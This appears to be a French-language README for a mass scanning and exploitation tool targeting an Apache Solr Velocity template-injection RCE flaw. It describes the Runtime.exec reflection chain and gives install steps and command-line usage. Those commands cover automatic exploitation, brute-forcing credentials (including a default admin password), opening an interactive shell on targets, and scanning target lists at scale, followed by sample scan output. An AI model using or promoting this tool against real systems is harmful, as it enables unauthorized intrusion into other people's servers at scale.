
☄️ Framework de reconnaissance et d'exploitation de masse pour Apache Solr CVE-2026-44825 — injection de template Velocity menant à RCE
CVE-2026-44825 est une vulnérabilité de sévérité critique dans Apache Solr qui permet à un attaquant d'obtenir une exécution de code à distance (RCE) non authentifiée via une injection de template Velocity.
Le point d'accès /select d'Apache Solr accepte un paramètre wt=velocity qui interprète des templates Velocity fournis par l'utilisateur. Lorsque le Velocity Response Writer est activé (ou peut être activé via l'API de configuration), un attaquant peut injecter un template malveillant appelant java.lang.Runtime.exec(), exécutant des commandes système arbitraires avec les privilèges du processus Solr.
| Vecteur | Sévérité | Impact |
|---|---|---|
| RCE non authentifiée | 9.8 (Critique) | Compromission totale du système |
| RCE authentifiée | 8.8 (Élevée) | Exécution de code après authentification |
| Divulgation d'informations | 5.3 (Moyenne) | Énumération des cores/collections |
Apache Solr inclut Apache Velocity comme moteur de template optionnel pour le rendu des réponses. La vulnérabilité réside dans le VelocityResponseWriter de Solr qui traite les paramètres de template contrôlés par l'utilisateur sans assainissement adéquat, permettant l'invocation directe des API de réflexion Java :
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Version d'Apache Solr | Statut | Notes |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 Vulnérable | Exploitation active dans la nature |
| 10.0.0 | 🔴 Vulnérable | Version initiale 10.x affectée |
| 10.0.1+ | 🟢 Corrigé | Correctif rétroporté |
| 9.10.2+ | 🟢 Corrigé | Correctif disponible |
| ≤ 9.3.x | 🟢 Non concerné | Velocity Response Writer absent |
| 8.x (toutes) | 🟢 Non concerné | Pas de support Velocity |
Note : Les vérifications de version sont effectuées automatiquement en analysant la réponse JSON de
/admin/info/system.
🔍 Reconnaissance
|
💀 Exploitation
|
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Install dependencies
pip install -r requirements.txt
# Verify
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Bibliothèques standard uniquement +
requests. Aucune dépendance exotique.
CVE-2026-44825 Apache Solr Scanner
-t, --target URL ou IP[:port] d'une seule cible
-f, --file Fichier contenant les cibles (une par ligne, # pour les commentaires)
--exploit Exploitation automatique si des identifiants vulnérables sont trouvés
--rce Lancement d'un shell interactif après authentification
-u, --user Nom d'utilisateur pour l'authentification de base
-pw, --password Mot de passe pour l'authentification de base
-o, --output Chemin du fichier de sortie JSON (par défaut : solr_results.json)
-w, --workers Nombre de threads simultanés (par défaut : 30)
-T, --timeout Délai d'attente des requêtes HTTP (secondes) (par défaut : 8)
# Cible unique
python solr_scanner.py -t 192.168.1.100:8983
# Cible unique avec chemin personnalisé
python solr_scanner.py -t http://example.com/solr
# Scan de masse depuis un fichier
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — prend en charge les commentaires et les lignes vides
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR non supporté ; pré-expandez avec un outil externe)
# Scan + exploitation automatique si des identifiants sont trouvés
python solr_scanner.py -f targets.txt --exploit
# Identifiants connus + shell interactif
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Force brute automatique + shell en cas de succès
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
Les 3 cibles sont détectées. L'instance 9.4.1 est marquée comme vulnérable avec l'authentification de base activée.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner